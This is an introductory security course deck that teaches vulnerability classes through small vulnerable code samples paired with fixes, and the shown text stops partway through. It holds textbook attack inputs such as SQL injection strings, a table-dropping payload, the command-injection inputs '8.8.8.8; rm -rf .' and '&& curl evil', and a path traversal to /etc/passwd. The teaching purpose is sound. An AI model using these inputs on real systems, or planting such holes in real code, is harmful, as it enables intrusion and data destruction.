Software Bugs: The Vulnerability Classes and How to Find Them

The introduce-a-bug-then-find-it session: students plant one documented vulnerability in a small program, swap with a partner, and hunt down the partner's bug the way a reviewer does. It separates a bug from a vulnerability from an exploit, walks the main weakness classes with real code — memory-safety (buffer overflow, off-by-one, use-after-free, integer overflow), injection (SQL, command, cross-site scripting, path traversal), broken access control and logic bugs, race conditions and TOCTOU, and data-handling bugs (hardcoded secrets, weak crypto, insecure deserialization) — explains honestly how bugs get into code including the deliberate insider and supply-chain case, reframes what makes a bug subtle as a reviewer's checklist, and teaches the detection toolkit in order: static analysis and secret scanning, human review of the risky lines, adversarial and regression testing, and fuzzing, closing with a full bug-report template.

Subject: Cyber Security 101 · 74 slides · code lesson

Open the interactive version of this deck

What this lesson covers

The lesson, slide by slide

1. Software Bugs: Find Them, Fix Them

Title

Cyber Security 101 — Session 3

The vulnerability classes, how they get into code, and how a reviewer hunts them down

2. Part 1 — The assignment and the mindset

Section

Why plant a bug to learn to find one

3. What you will be able to do

Objectives

This session is built around one assignment: you will plant a single, documented bug in a small program, swap with a partner, and find the bug they planted. Everything here serves that loop.

MITRE CWE Top 25 Most Dangerous Software Weaknesses the weakness classes this deck teaches

4. The picture the whole deck hangs on

Picture it

Before any code, the one distinction people get wrong.

Figure (svg): Three boxes labelled bug, vulnerability and exploit with arrows between them, showing that every exploit rides on a vulnerability which started as a bug

Most bugs are harmless typos and logic slips. A vulnerability is the narrow subset an attacker can turn to their advantage. Your job in this assignment is to plant one bug that crosses that line, and to find the one your partner planted.

5. Three words, kept separate

Concept

Keeping these apart is the difference between a useful bug report and a vague one.

bug — any place the code does something other than what was intended — a wrong result, a crash, a missed case

vulnerability — a bug that an attacker can use to break confidentiality, integrity or availability

exploit — the specific input or sequence of actions that actually abuses a vulnerability

A report that says found a bug is weak. A report that says found a vulnerability, here is the class, and here is the input that triggers it is what earns the marks.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types weaknesses versus their exploitation

6. Sort the finding: bug, vulnerability, or exploit

Definition probe

Drop each statement into the box it belongs in.

Sort into buckets

Which of the three is each one?

just a bug
The total shows -1 items when the cart is empty; The date prints as 2026-13-40 for some inputs
a vulnerability
A blank username lets you log in as the admin account
an exploit
Sending the string ' OR '1'='1 into the login box actually logs me in
bug
Wrong output with no attacker benefit — a negative count and a nonsense date are defects, but nobody gains anything from them.
vuln
A defect an attacker can turn to their advantage. The blank-username admin login is a weakness waiting to be used.
exp
The concrete input that abuses a weakness. The OR-one-equals-one string is the attack itself, not the flaw behind it.

7. What a security bug actually breaks

Concept

Whether a bug is a vulnerability comes down to one question: does it let someone break one of the three guarantees software is supposed to keep?

Figure (svg): Three circles labelled Confidentiality, Integrity and Availability with plain-language descriptions of each

A crash your partner can trigger on demand breaks availability. A bug that leaks another user's data breaks confidentiality. A bug that lets someone change a record they should not breaks integrity. Naming which one a bug breaks is half of a good report.

8. Where this shows up outside the classroom

Real world

This loop is not a school invention.

Discussion prompt

Real security teams do exactly this assignment at scale — one group deliberately builds weakness in, another hunts it. What are those two activities called, and why would a company pay for both?

Hint: One side wears red, the other blue.

Answer:

The building-it-in side is a red team or a deliberately-vulnerable training app, like a CTF challenge or a range. Someone plants realistic weaknesses on purpose.

The hunting side is a blue team, a code review, a penetration test or a bug-bounty programme. They find the weaknesses before an attacker does.

A company pays for both because a bug found by your own side is cheap, and the same bug found by an attacker is a breach. This assignment is that economy in miniature.

9. Why plant a bug at all?

Socratic

The assignment can feel backwards. Sit with why it is not.

Discussion prompt

You want to get good at finding bugs. Why is deliberately planting one — and having to document exactly what you planted — a better way to learn that than just reading about bug types?

Hint: Think about what you must understand to hide something well.

Answer:

To plant a convincing bug you have to understand the class from the inside: what it looks like, what makes it trigger, and what would give it away. That is the same knowledge a finder needs.

Documenting your own bug forces precision — the class, the trigger, the impact — which is exactly the vocabulary you then use to describe your partner's.

And hunting a bug a peer designed to be found is far closer to real review than reading a textbook example that announces itself. You practise the search, not just the recognition.

10. Part 2 — Memory-safety bugs

Section

When the program writes where it should not

11. Buffer overflow: writing past the end

Concept

A buffer is a fixed-size box for bytes. A buffer overflow is writing more bytes than the box holds, so the extra bytes land on whatever sits next to it in memory.

void greet(char *name) {
    char buf[8];            // room for 8 bytes
    strcpy(buf, name);      // copies until it hits a 0 byte
    printf("Hi %s\n", buf); // no check that name fits in 8
}
name passed inbytes copiedwhat happens
Ann4 (with the terminator)fits — nothing bad
Jonathan9one byte spills past buf
a 40-char name41spills far past buf into saved data

strcpy copies until it finds a zero byte, and it never asks how big the destination is. The caller controls the length, so the caller controls how far past the box the write goes.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-120, classic buffer copy without size check

12. Worked example: bytes climbing into the return address

Worked example

Step through what a nine-byte write does to an eight-byte buffer sitting below the saved return address.

char buf[8];
strcpy(buf, "AAAAAAAAA");  // nine A's, no room for them

Lay out the frame

Why: buf sits low, the saved frame pointer above it, the saved return address above that. Writes into buf grow upward toward them.

Fill the eight legal bytes

Why: The first eight A's fill buf exactly. So far nothing is wrong.

Write the ninth byte

Why: There is no ninth slot in buf, so it lands in the byte just above — the start of the saved frame pointer.

Step through it

At each step, ask: which saved value has now been corrupted, and what does the program do when the function returns?

  1. Eight bytes fit. This is the safe case.
  2. The overflow starts at byte nine, in the frame pointer.
  3. Keep going and the write reaches the return address.
  4. Controlling the return address is controlling what runs next.

Verify: the danger is the neighbour, not the buffer

Why: The bug is not that buf holds garbage — it is that the bytes past buf overwrite the saved return address. That is why a memory-safety bug so often turns into full control of the program.

MITRE CWE Top 25 Most Dangerous Software Weaknesses why memory-safety bugs rank so high

13. The frame, drawn

Picture it

The picture that makes the overflow obvious.

Figure (svg): A stack frame drawn as three stacked boxes: an eight-byte buffer at the bottom, the saved frame pointer above it, and the saved return address at the top, with an upward arrow showing writes growing toward the saved values

Once you can see that the return address sits just above your buffer, every unchecked copy into that buffer looks dangerous, because it is.

14. Predict the overwrite

Prediction

Use the frame you just saw.

Predict first

A buffer holds 8 bytes. An attacker sends 20 bytes. Ignoring alignment, which saved value is most at risk?

  • Nothing — the extra bytes are simply dropped
  • Only the buffer's own contents, which become garbage
  • The saved frame pointer and the saved return address above the buffer
  • The heap, which is where buffers always live

Correct: The saved frame pointer and the saved return address above the buffer

Why: The extra twelve bytes are not dropped; strcpy keeps writing. They climb past the buffer into the saved frame pointer and then the saved return address, which is exactly the value that decides where the function returns.

15. Off-by-one: the fence-post mistake

Concept

An off-by-one bug is a loop or index that runs one step too far or one step too short. In C it writes one byte past the buffer; in almost any language it reads or skips one element it should not.

char buf[8];
for (int i = 0; i <= 8; i++)   // <= should be <
    buf[i] = data[i];          // buf[8] is one past the end
ibuf[i] valid?note
0 to 7yesthe eight real slots
8noone byte past the end — the off-by-one
fixuse i < 8the loop should stop before 8

The valid indexes of an eight-slot buffer are 0 through 7. Writing buf[8] is the single most common memory bug there is, and it hides because the code looks almost exactly right.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-193, off-by-one error

16. Find the error: spot the off-by-one

Error analysis

A partner planted a bug in this array copy. It compiles and it usually works. Find the single character that is wrong.

Annotate

  • Line 2 is the bug: the condition is i <= n, so the loop runs for i = 0, 1, ... n — that is n+1 iterations, not n.
  • On the last iteration it reads src[n] and writes dst[n], both one element past the region the caller sized for n items.
  • It usually works because reading and writing one slot past the end often hits memory that happens to be free. The bug only shows up when that slot matters — which is exactly what makes it a good planted bug and a nasty real one.
  • The fix is a single character: i < n. Now the loop touches indexes 0 through n-1, which is exactly n items.

A reviewer's habit: every time you see a loop bound, ask out loud whether it should be less-than or less-than-or-equal. Half of all off-by-ones are caught by that one question.

17. Use-after-free: the pointer to a demolished house

Concept

Freeing memory hands it back to the system. A use-after-free is touching that memory afterwards, through a pointer that still points at it. The pointer looks fine; the thing it points at is gone.

char *p = malloc(16);
free(p);            // the 16 bytes are handed back
strcpy(p, "hello"); // p still points there — but it is not yours now
momentis p valid?why it is dangerous
after mallocyesyou own the 16 bytes
after freenothe bytes may be reused by other code
after the strcpynoyou just wrote into memory something else now owns

The trap is that p is not set to null by free — it becomes a dangling pointer. Between the free and the reuse the code often still works, which is why a use-after-free can pass every test and still be a serious vulnerability.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-416, use after free

18. Integer overflow: when a size wraps around

Concept

Numbers in a computer have a fixed width. Push one past its maximum and it wraps around to a tiny value. That becomes dangerous the moment the number is a size passed to an allocator.

size_t n = get_count();     // attacker controls this
int *arr = malloc(n * 4);   // n * 4 can wrap to a tiny number
for (size_t i = 0; i < n; i++)
    arr[i] = 0;             // loop still runs n times
n from attackern * 4 intendedn * 4 after wrapresult
100400 bytes400 bytesfine
a huge valuebillions of bytesa tiny wrapped valuebuffer far too small
the loopwrites n itemswrites n itemswrites way past the tiny buffer

The allocation succeeds because the wrapped size is small, but the loop still runs the full count. So a tiny buffer gets filled with a huge number of writes — an overflow born from arithmetic, not from strcpy.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-190, integer overflow leading to a small allocation

19. Which memory bug is it?

Discrimination

Same family, different exact fault. Sort each symptom.

Sort into buckets

Which memory-safety bug does each description point to?

off-by-one
A loop uses <= where it should use <, touching one slot past the end
use-after-free
A pointer is used after the memory it names was handed back
integer overflow
A size calculation wraps to a tiny number, so the buffer is under-sized
buffer overflow
strcpy copies a caller-controlled string into a fixed 8-byte buffer
off
The tell is a bound that is one too generous — <= instead of <, or a length that includes the terminator it should not.
uaf
The tell is a free (or a scope exit) followed by a use of the same pointer. The pointer survives; the memory does not.
int
The tell is arithmetic on a size — a multiply or add that can wrap — feeding an allocation.
of
The tell is an unbounded copy into a fixed buffer: strcpy, gets, or any copy with no size limit.

20. Part 3 — Injection bugs

Section

When input is treated as code

21. SQL injection: input that rewrites the query

Concept

SQL injection happens when user input is glued straight into a database query. The database cannot tell your intended query from the attacker's addition — it is all just one string of SQL.

name = request.get("user")
# input is pasted straight into the SQL text
query = "SELECT * FROM users WHERE name = '" + name + "'"
db.execute(query)
name the user sendsquery the database runseffect
Ann... WHERE name = 'Ann'normal lookup
' OR '1'='1... WHERE name = '' OR '1'='1'matches every row
'; DROP TABLE users; --two statements, second drops the tabledestroys data

The apostrophe in the input closes the string the code opened, and everything after it is read as more SQL. The user is no longer supplying a name — they are supplying query logic.

OWASP Top 10 — the ten most common web application weakness classes A03 Injection

22. Worked example: watch the query get rewritten

Worked example

Follow the exact string the database receives as the input changes.

query = "SELECT * FROM users WHERE name = '" + name + "'"

Substitute a normal name

Why: With name = Ann, the query is SELECT ... WHERE name = 'Ann'. The apostrophes wrap the value the way the author intended.

part of the querywho wrote itrole
SELECT * FROM users WHERE name = 'the developerfixed prefix
' OR '1'='1the attackercloses the string, adds a condition
'the developertrailing quote, now harmless

Substitute the attack string

Why: With name = ' OR '1'='1, the value's own apostrophe ends the string early, and OR '1'='1 becomes part of the WHERE clause. That condition is always true.

Figure (svg): A diagram of a trust boundary with untrusted input on the left and an interpreter on the right, showing that injection happens when input crosses the boundary and is treated as code

Verify: the fix keeps data on the data side

Why: Use a parameterized query: db.execute('... WHERE name = ?', [name]). The name is sent as a value, never as SQL text, so no apostrophe in it can ever change the query's structure.

OWASP Top 10 — the ten most common web application weakness classes parameterized queries as the fix

23. Find the error: the planted SQL bug

Error analysis

A partner's login handler. It works for every normal username and password. Find the line that makes it a vulnerability.

Annotate

  • Line 2 is the vulnerability: user and pw are formatted straight into the SQL string with %s. Neither is ever separated from the query text.
  • Send user = admin'-- and the pw check is commented out by the -- , so the query becomes ... WHERE name='admin'-- AND pw='...'. It logs in as admin with no password.
  • It passes every normal test because a real username and password produce a perfectly valid query. The weakness only appears with input that contains SQL syntax — which no normal test sends.
  • The fix: q = 'SELECT id FROM users WHERE name=? AND pw=?' with db.execute(q, [user, pw]). The values are bound, so the -- is just text inside a username, not a comment in the query.

The pattern to internalise: any time you see string formatting or concatenation building a query, a command or a path, treat it as guilty until proven innocent.

24. Command injection: input that becomes a shell command

Concept

Same shape as SQL injection, different interpreter. Here the untrusted input is glued into a string that gets handed to the operating system shell.

host = request.get("host")
# the shell will interpret ; & | and more
os.system("ping -c 1 " + host)
host the user sendscommand the shell runseffect
8.8.8.8ping -c 1 8.8.8.8normal ping
8.8.8.8; rm -rf .ping, then delete filesthe semicolon starts a second command
8.8.8.8 && curl evilping, then downloadchains an attacker command

The shell treats characters like the semicolon, the ampersand and the pipe as command separators. Any one of them in the input lets the attacker append their own command to yours.

OWASP Top 10 — the ten most common web application weakness classes OS command injection

25. Cross-site scripting: input that becomes page code

Concept

Cross-site scripting, or XSS, is injection where the interpreter is the victim's browser. User input is written into a page without being escaped, so a script in that input runs in another user's session.

// comment is user-controlled text
page.innerHTML = "<div>" + comment + "</div>";
// if comment contains a script tag, the browser runs it
comment the user postswhat the browser doeseffect
Nice post!shows the textnormal
a script tag stealing cookiesruns the scriptsteals another visitor's session
an onerror image handlerruns the handlersame effect, no script tag needed

The victim is not the person who typed the input — it is everyone else who later views the page. That is what the cross-site in the name means, and why XSS is so often underrated by beginners.

OWASP Top 10 — the ten most common web application weakness classes A03 Injection — cross-site scripting

26. Match the payload to its bug class

Matching

Each of these strings is an attack. Pair it with the interpreter it abuses.

Match the pairs

  • p1. ' OR '1'='1
  • p2. 8.8.8.8; rm -rf .
  • p3. a script tag in a comment field
  • p4. AAAAAAAAAAAAAAAAAAAA into an 8-byte buffer
  • r1. SQL injection (the database)
  • r2. command injection (the shell)
  • r3. cross-site scripting (the browser)
  • r4. buffer overflow (memory)

Why: Three of these are injection into different interpreters — a database, a shell, and a browser — and the fourth is memory corruption. Recognising which interpreter is being abused tells you both the class and the fix.

27. Complete the fix: parameterize the query

Fill the middle

The vulnerable line concatenates input into SQL. Fill in the safe version.

Fill in the blanks

# unsafe:
# q = "SELECT id FROM users WHERE name = '" + name + "'"
# safe:
q = "SELECT id FROM users WHERE name = ?"
db.execute(q, [name])

Why: The placeholder — a question mark here, or a named marker in some libraries — tells the database driver to send name as a bound value, completely separate from the query text. No character in name can then change the query's structure.

28. Part 4 — Logic and access-control bugs

Section

When the code works but the rules are wrong

29. Broken access control: forgetting to check who is asking

Concept

Not every serious bug is a crash or an injection. Many are simply a missing check: the code does exactly what it says, but it never confirms the person is allowed to do it.

@app.get("/account/{id}")
def account(id):
    # returns the account for any id, no owner check
    return db.accounts.get(id)
requestwho should see itwhat the code does
/account/124 as user 124user 124returns it — correct
/account/125 as user 124nobody but 125returns it anyway
/account/1 as user 124the adminreturns it anyway

This class is called insecure direct object reference: the id in the URL points straight at a record, and the code trusts whatever id it is handed. Changing one number in the address bar becomes an attack.

OWASP Top 10 — the ten most common web application weakness classes A01 Broken Access Control

30. The one-digit anomaly

Anomaly

You are testing your partner's app. You are logged in as user 124.

Predict first

You load /account/124 and see your own data. On a hunch you change the URL to /account/125 and see someone else's data. What did you just find?

  • Nothing — the server chose to show it, so it must be allowed
  • A broken access control bug: the server never checks that the record belongs to you
  • A display glitch that will fix itself on refresh
  • A network error unrelated to the code

Correct: A broken access control bug: the server never checks that the record belongs to you

Why: The record loaded because the code fetches by id and never asks whether the logged-in user owns that id. Being able to read another account by editing the URL is a textbook insecure direct object reference, and one of the most common real vulnerabilities there is.

31. Logic and authentication bugs: right code, wrong rule

Concept

A logic bug is where the code runs cleanly and still does the wrong thing, because the condition it checks is not the condition it should. Authentication is where these hurt most.

def is_admin(user):
    if user.role == "admin" or user.role == "guest":
        return True   # 'or guest' is the planted bug
    return False
user.roleshould be admin?function returns
adminyesTrue — correct
guestnoTrue — the bug
membernoFalse — correct

There is no crash, no injection, nothing memory-unsafe. A single wrong word in a condition quietly grants admin rights to guests. Logic bugs are the hardest to spot precisely because the code looks calm and correct.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-285, improper authorization

32. Race conditions and TOCTOU: the gap between check and use

Concept

A race condition is a bug that appears only with a particular timing of concurrent actions. The classic security form is time-of-check to time-of-use, or TOCTOU: you check something, then use it, and the world changes in the gap.

if os.access(path, os.W_OK):   # check: am I allowed to write?
    # <-- attacker swaps 'path' for a link to a protected file here
    with open(path, "w") as f:  # use: write to it
        f.write(data)
momentwhat path points atnote
the checka file the user may writeaccess() says yes
the gapattacker replaces it with a linkthe check is now stale
the usea protected system filethe write hits the wrong file

The check was true when it was made and false by the time it was used. Nothing in the code is individually wrong; the bug lives in the assumption that nothing changes between the two lines.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-367, time-of-check time-of-use race

33. Worked example: interleaving the race

Worked example

Step through the two actors, the victim program and the attacker, taking turns.

T1  victim: access(path) -> allowed
T2  attacker: replace path with a link to /etc/secret
T3  victim: open(path, "w") -> opens /etc/secret

Victim checks

Why: At T1 the victim asks may I write this path and the answer is yes, because right now it is an ordinary file the victim owns.

Attacker swaps

Why: At T2, before the victim opens the file, the attacker replaces the name with a link pointing at a protected file. The victim has no idea.

Step through it

At each step, ask: does path still point at the thing the check approved?

  1. The check is true — for the file that existed a moment ago.
  2. The swap happens in the gap the code assumed was empty.
  3. The use acts on a different file than the one that was checked.

Verify: close the gap, do not widen the check

Why: The fix is to remove the gap: open the file once and check the handle you actually hold (for example with the O_NOFOLLOW flag), rather than checking a name and then trusting it later. Never separate the check from the use.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types TOCTOU mitigation

34. The shape every logic bug shares

Pattern

Memory and injection bugs have loud tells — a copy, an apostrophe, a concatenation. Logic and access-control bugs are quieter, but they still share one shape.

  1. There is a decision: a condition, a permission check, a comparison
  2. The decision uses the wrong input, the wrong operator, or the wrong timing
  3. Every individual line is valid code that compiles and runs
  4. The bug only shows when you ask does this check actually enforce the rule it claims to

So the reviewer's move for this whole family is the same: find every decision that guards something valuable, and test whether the guard can be walked around — a wrong role, a changed id, a swapped file, a lucky timing.

OWASP Top 10 — the ten most common web application weakness classes access control as a design problem

35. Two truths and a lie about access control

Two truths and a lie

Two of these are safe to write in a report. One will get someone owned.

Eliminate the wrong options

Cross out the false statement.

  • c1. If the UI never shows a delete button to guests, guests cannot delete — so the server need not re-check.
  • c2. Every request must be authorised on the server, because a client can send any request it likes.
  • c3. Changing an id in a URL is a legitimate test for broken access control.

Survives elimination: c1

Why: The lie is the first: hiding a control in the UI does nothing, because an attacker never uses your UI. They send the raw request. Authorisation must be enforced on the server for every request, not implied by what the interface chooses to display.

36. Part 5 — Data-handling and crypto bugs

Section

Secrets, encoding, and trusting the wrong bytes

37. Hardcoded secrets: the password in the source

Concept

A hardcoded secret is a password, key or token written directly into the source code. It is a vulnerability because source code travels — into version control, into logs, into every laptop that ever cloned the repo.

# the key is right here in the file
API_KEY = "sk_live_9f2a7c1e4b88d0"
db = connect(password="hunter2")
where the code goeswho then sees the secretrisk
git historyeveryone with repo access, forevereven after you delete the line
a public mirrorthe whole internetbots scan for exactly this
a crash loganyone reading logssecrets leak into error output

Deleting the line later does not help: version control remembers every past version. The fix is to keep secrets out of code entirely — in environment variables or a secrets manager the code reads at run time.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-798, use of hard-coded credentials

38. Rolling your own crypto and other weak choices

Concept

Cryptography bugs rarely look like crashes. They look like reasonable code that quietly provides far less protection than the author believes.

Rolled-your-own
A homemade encryption or hashing scheme. It looks secret to you and is transparent to anyone who has seen it before.
Storing passwords reversibly
Passwords stored encrypted or in plain text instead of hashed with a slow, salted algorithm. One database leak exposes them all.
A fixed key or nonce
Reusing the same key or initialisation value makes patterns in the encrypted data visible, which is often enough to break it.

The rule of thumb for this whole class: do not invent it, and do not configure it by guesswork. Use a well-reviewed library with its safe defaults, and treat any homemade scheme as a planted bug.

OWASP Top 10 — the ten most common web application weakness classes A02 Cryptographic Failures

39. Path traversal: input that escapes the folder

Concept

Path traversal is injection aimed at the filesystem. User input becomes part of a file path, and the input contains dot-dot segments that climb out of the folder you meant to confine it to.

name = request.get("file")
# meant to read from the uploads folder only
path = "uploads/" + name
return open(path).read()
file the user asks forpath openedeffect
report.pdfuploads/report.pdfintended
../config.pyuploads/../config.pyclimbs up one folder
../../etc/passwdescapes to a system filereads outside uploads entirely

Each dot-dot means go up one folder, so a name full of them walks out of the uploads directory and into the rest of the disk. The fix is to reject or strip path separators and dot-dot, and to resolve the final path and confirm it still sits inside the allowed folder.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-22, path traversal

40. Insecure deserialization: trusting a saved object

Concept

Deserialization turns stored bytes back into a live object. It becomes a vulnerability when those bytes came from an untrusted source, because some formats can be crafted to run code or build dangerous objects as they load.

import pickle
# data came from the user's cookie
obj = pickle.loads(data)   # can execute code while loading
source of the bytessafe to deserialize?why
a file you wrote yourselfusuallyyou control the contents
a user cookie or uploadnothe attacker controls the bytes
a network messagenosame — treat it as hostile

The dangerous idea is that loading data feels passive, like reading a number. With formats like Python's pickle or Java's native serialization, loading is active: it can construct objects and run code. Use a data-only format such as JSON for anything that crosses a trust boundary.

OWASP Top 10 — the ten most common web application weakness classes A08 Software and Data Integrity Failures

41. Sort each bug into its family

Sorting

Ten classes, five families. Drop each into the family it belongs to.

Sort into buckets

Which family does each bug class fall under?

memory-safety
buffer overflow; use-after-free
injection
SQL injection; cross-site scripting
access / logic
broken access control
data-handling
hardcoded secret
mem
Bugs where the program reads or writes memory it should not — overflows, off-by-ones, use-after-free.
inj
Bugs where untrusted input is treated as code by some interpreter — a database, shell, browser or filesystem.
acc
Bugs where the code runs correctly but the decision or the rule is wrong — missing checks, wrong conditions.
data
Bugs in how data and secrets are stored, encoded or trusted — hardcoded keys, weak crypto, unsafe loading.

Being able to name the family fast is what lets you jump straight to the right fix and the right detection tool.

42. Class, impact, and fix at a glance

Comparison

Fill the missing fixes. This table is the one to keep beside you during the hunt.

Comparison matrix

bug classtypical impactthe fix in one line
buffer overflowattacker controls executionbounds-checked copies, or a memory-safe language
SQL injectionreads or destroys the databaseparameterized queries
broken access controlreads or edits others' dataauthorise every request on the server
hardcoded secretleaked keys and passwordssecrets in env vars, not in code

Notice the fixes are boringly consistent within a family. That is good news: learn one fix and it generalises across the whole class.

43. Part 6 — How bugs get into code

Section

The honest sources, and the deliberate one

44. Where real bugs actually come from

Concept

For the finding half of this assignment to make sense, you have to know how bugs get in. Almost all of them arrive the same few honest ways — and a deliberately planted bug simply imitates one of them.

A well-planted bug in this assignment looks exactly like one of these. That is the point: if your bug looks deliberate, it is too easy to find, and if your partner's looks accidental, it is realistic practice.

MITRE CWE Top 25 Most Dangerous Software Weaknesses the most common real-world weaknesses

45. Which source causes the most real damage?

Estimation

Across large studies of real vulnerabilities, one source dominates the web-application category year after year.

Predict first

Which single source below accounts for the largest share of exploited web vulnerabilities?

  • Exotic cryptographic weaknesses
  • Missing or wrong input handling and access checks
  • Compiler bugs
  • Hardware faults

Correct: Missing or wrong input handling and access checks

Why: Year after year the OWASP data puts broken access control and injection — both fundamentally about untrusted input and missing checks — at the very top. Exotic crypto and compiler or hardware faults are real but rare. Spend your review time where the bugs actually are.

46. The deliberate bug: a threat you must anticipate

Concept

Not every bug is an accident. Sometimes one is inserted on purpose to be hard to spot — by a malicious insider, or in a dependency your project pulls in. Understanding this is defensive: you cannot review for what you refuse to imagine.

The insider
Someone with commit access adds a bug that looks like an ordinary mistake, so it survives review. This assignment simulates exactly that.
The supply chain
A library you depend on ships a bug — accidental or planted. Your code inherits it, which is why scanning dependencies matters.
The underhanded style
A bug written to look correct: right variable names, plausible logic, a fault hidden in a subtle detail. That is the craft the finder has to beat.

The reason to study the deliberate case is not to become the insider. It is that a bug designed to look innocent is the hardest to find, so practising against one makes you far better at catching the accidental ones too.

The Underhanded C Contest — deliberately-planted, plausible-looking bugs the underhanded-code tradition, used for training

47. The it-compiles-and-passes-tests trap

Trap

The trap

The wrong belief, and the one that lets almost every planted bug survive:

It compiled and the tests pass, so the code is correct and there is no security bug.

  • Tests check the cases the author thought of — planted bugs live in the cases nobody wrote a test for
  • A compiler checks that code is well-formed, not that it enforces the right rules
  • Injection, access-control and TOCTOU bugs all pass ordinary tests by design

The fix

What is actually true:

Passing tests raises the floor but proves nothing about security. Security bugs are found by adversarial thinking, not by the happy-path tests that shipped with the code.

  • Ask what input the tests never send — empty, huge, malformed, hostile
  • Ask what rule the code claims to enforce, then try to walk around it
  • Treat green tests as the start of the review, never the end of it

48. Why the supply chain makes this urgent

Real world

Ground the deliberate-bug idea in something you already depend on.

Discussion prompt

Your small program imports three libraries. You wrote none of them. How does everything in this deck apply to code you did not write, and what can you actually do about it?

Hint: You did not write it, but you still ship it.

Answer:

Every bug class here can arrive inside a dependency, and your program inherits it as if you had written it yourself. You own the risk even though you did not write the line.

You cannot review every library by hand, so you lean on tooling: dependency scanners that flag known-vulnerable versions, and pinned, checked versions so an update cannot silently swap in something hostile.

That is why the finding half of this course is as much about running the right tools as about reading code — no human reads a million lines of dependency, but a scanner can.

49. Part 7 — Why a bug hides

Section

And what that tells the reviewer to look for

50. What makes a bug hard to spot

Concept

The things that make a bug subtle are not tricks for hiding it in production — they are the properties a reviewer learns to recognise. Read this list as where to look, not how to conceal.

Flip every line around and you have the reviewer's checklist. A bug is subtle exactly where attention is scarce, so the discipline is to spend attention where it is scarce on purpose.

The Underhanded C Contest — deliberately-planted, plausible-looking bugs what makes planted bugs plausible

51. Find the error: the plausible-looking bug

Error analysis

This validates a money transfer. It reads well, the names are right, and it passes the tests that shipped with it. One detail makes it a vulnerability.

Annotate

  • The check only rejects amounts larger than the balance. It never rejects a negative amount.
  • Send amount = -100. It is not greater than the balance, so the check passes, and do_transfer runs with a negative amount — which typically credits the sender instead of debiting them.
  • It looks completely reasonable and passes every normal test, because no ordinary test transfers a negative amount. The bug lives entirely on the path nobody thought to try.
  • The fix is one more condition: reject when amount <= 0 as well. The reviewer finds it by asking what values of amount were never tested — and negative is the first one.

This is the whole game: the bug is not hidden by cleverness, it is hidden by living where no test and no casual reader ever goes.

52. Subtle or obvious?

Discrimination

Part of hunting is knowing which bugs a quick read will catch and which need real effort.

Sort into buckets

For each bug, will a careful line-by-line read likely catch it, or does it need adversarial testing or a tool?

a careful read catches it
strcpy into a fixed buffer, right there in plain sight; API_KEY = a literal string in the source
needs adversarial testing or a tool
A missing owner check on /account/{id}; A TOCTOU race between a check and a use
read
Visible-in-the-source bugs — an unbounded copy, a literal secret — jump out to a reviewer scanning the risky lines, and to simple pattern-matching tools.
adv
Bugs about missing checks or timing do not look wrong on any single line. You catch them by acting like an attacker: change the id, force the race, send the value nobody tested.

53. Where does a reviewer's attention run out?

Edge cases

Push on the honest limits of human review.

Discussion prompt

You have twenty minutes to review a 500-line program for a planted bug. Where is your attention weakest, and how do you compensate so a bug cannot hide there?

Hint: What are you like on line 400 versus line 4?

Answer:

Attention is weakest in the middle of long files, in boilerplate and config, and after the first few interesting findings when you start to relax. Planted bugs love exactly those spots.

You compensate by not relying on attention alone: review the risky lines first while fresh, then hand the boring bulk to tools — a linter, a static analyser, a secret scanner — that never get tired or bored.

The combination is the point. Humans are good at judgement on the risky few percent; tools are good at tireless coverage of the rest. Neither alone finds everything.

54. Explain why edge cases hide bugs

Explain it to yourself

If you can say this cleanly, the finding half has landed.

Discussion prompt

In your own words, why do so many security bugs live specifically in edge cases — the empty input, the maximum value, the concurrent action?

Hint: What inputs does someone write tests for, and which do they skip?

Answer:

Because authors write code and tests for the cases they picture, and they picture the normal ones. The empty, the huge, the hostile and the concurrent are the cases they did not picture.

An attacker's entire job is to supply the inputs the author never imagined, so vulnerabilities cluster precisely where imagination and testing ran out.

That is why finding bugs is an act of imagination too: you win by thinking of the input the author did not, and edge cases are the organised way to search for it.

55. Part 8 — Finding and killing bugs

Section

The reviewer's toolkit, in order

56. The code-review checklist

Concept

Human review comes first because it is the only step that understands intent. But a good reviewer does not read top to bottom — they read the dangerous parts first, while attention is highest.

Figure (svg): An ordered list showing a reviewer's priority: input handling first, then anything building a query command or path, then permission checks, then buffers and loop bounds, then everything else

Run down that order and, at each risky line, ask the same three questions: where does this input come from, is it checked, and what interpreter or memory does it reach. Most planted bugs answer one of those questions badly.

OWASP Top 10 — the ten most common web application weakness classes code review guidance

57. Worked example: reviewing a diff

Worked example

A partner sends you a four-line change. Walk it the way a reviewer would.

- user = escape(request.get("user"))
+ user = request.get("user")
  q = "SELECT id FROM users WHERE name='" + user + "'"
  db.execute(q)

Read the risky line first

Why: The query is built by concatenation, so before anything else this line handles user input on its way into an interpreter. That is priority one on the checklist.

questionanswer for this diffverdict
where does user come from?straight from the requestuntrusted
is it checked or escaped?the escape call was just removedno
what interpreter does it reach?the SQL databaseinjection risk

Name the change's effect

Why: The diff removes the one thing that was neutralising the input. It turns a safe line into a SQL injection — a perfect example of a planted bug disguised as a cleanup.

Figure (svg): A trust boundary diagram showing untrusted input crossing into a SQL interpreter, illustrating that removing the escape lets input become code

Verify: state it as a finding

Why: Write it up: SQL injection introduced at this line by removing input escaping; fix is a parameterized query. That sentence is the whole review, and it is what you will hand back to your partner.

OWASP Top 10 — the ten most common web application weakness classes reviewing changes for injection

58. Static analysis: the tool that reads code for you

Concept

Static analysis, or SAST, examines the source without running it, matching it against thousands of known bug patterns. It never gets tired, so it covers the boring bulk a human skims.

# examples of static analysers you point at source
bandit  app.py        # python security linter
semgrep --config auto  .   # pattern rules across languages
what it is great atwhat it missesso you also need
known patterns: strcpy, concatenated SQL, literal secretslogic and access-control bugshuman review
covering every file tirelesslywhether a check enforces the right ruleadversarial testing
fast, repeatable, runs on every commitbrand-new bug shapesfuzzing and tests

Treat its output as leads, not verdicts: some findings are false alarms, but every strcpy and every concatenated query it flags is worth a look. It is the cheapest way to clear the obvious half of the search.

